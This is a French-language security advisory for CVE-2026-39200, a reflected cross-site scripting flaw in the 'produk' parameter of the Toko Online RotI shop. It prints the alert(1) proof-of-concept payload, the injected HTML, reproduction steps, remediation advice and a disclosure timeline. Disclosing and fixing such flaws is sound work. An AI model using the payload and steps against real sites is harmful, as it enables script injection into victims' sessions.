CVE-2026-39200 — La valeur du paramètre de requête produk est copiée dans la valeur d'un attribut de balise HTML encapsulé entre guillemets doubles. Le payload xbnw0"><script>alert(1)</script>skc2h a été soumis dans le paramètre produk. Cette entrée a été reflétée sous la forme xbnw0\"><script>alert(1)</script>skc2h dans la réponse de l'application. | Kitploit

<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />

<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
                                                            ^^^^^^^^^^^^^^^^^^^^^^^^
                                                            Browser executes this

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<html>
  <body>
    <!-- ... -->
    <input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
    <!-- ... -->
  </body>
</html>

Identifiez un point de terminaison de l'application Toko Online RotI qui reflète le paramètre produk à l'intérieur d'un attribut HTML (par exemple, une page de recherche, de détail ou de filtre de produit).
Remplacez la valeur du paramètre produk par la charge utile suivante :
```
xbnw0"><script>alert(1)</script>skc2h
```
Soumettez la requête au serveur.
Inspectez la réponse du serveur. La charge utile est renvoyée telle quelle à l'intérieur de l'attribut, sortant du " et produisant un élément <script> valide dans le DOM.
Chargez la réponse ainsi créée dans un navigateur moderne. Une boîte de dialogue JavaScript alert(1) s'affiche, confirmant l'exécution de JavaScript arbitraire dans la session de la victime.

Encoder en HTML toutes les valeurs fournies par l'utilisateur avant qu'elles ne soient reflétées dans la sortie HTML, en particulier <, >, ", ' et & (par exemple, <, >, ", ', &).
Utiliser les fonctions d'échappement de sortie intégrées au framework plutôt qu'une concaténation manuelle. Exemples :
- PHP : htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
- ASP.NET : HttpUtility.HtmlEncode(input) ou la syntaxe <%: %>
- Python (Jinja2) : {{ input }} (échappement automatique par défaut)
Définir un en-tête de réponse Content-Security-Policy (CSP) strict pour limiter l'impact de toute injection résiduelle :
```
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
```
Définir les indicateurs HttpOnly et Secure sur tous les cookies de session afin d'empêcher JavaScript de les lire.
Valider le paramètre produk par rapport à une liste blanche d'identifiants de produits attendus (identifiants numériques, slugs, etc.) et rejeter tout ce qui ne correspond pas.
Ajouter X-Content-Type-Options: nosniff pour empêcher la détection du type MIME des corps de réponse.

Date	Événement
2026-07-03	Vulnérabilité découverte lors de tests de sécurité autorisés
2026-07-03	Identifiant CVE demandé à MITRE via cveform.mitre.org
2026-07-12	CVE-2026-39200 attribué par l'équipe d'attribution de MITRE
2026-07-19	Publication de l'avis public

Identifiant CVE	CVE-2026-39200
Type de vulnérabilité	CWE-79 — Neutralisation incorrecte des entrées lors de la génération de pages web (XSS réfléchi)
Produit concerné	Toko Online RotI (boutique en ligne indonésienne)
Paramètre concerné	`produk`
Découvreur	Uzair Ali (r00tali) — Testeur d'intrusion / Chasseur de bugs
Date de découverte	2026-07-03
CVE attribué	2026-07-12
Publication de l'avis	2026-07-19

CVE-2026-39200

Populaires

À propos

Détails de la vulnérabilité

Charge utile de la preuve de concept

Motif vulnérable (conceptuel)

Requête HTTP (reproduction)

Réponse HTTP (extrait)

Étapes de reproduction

Impact

Remédiation

Chronologie de divulgation

Découvreur

Références

Avertissement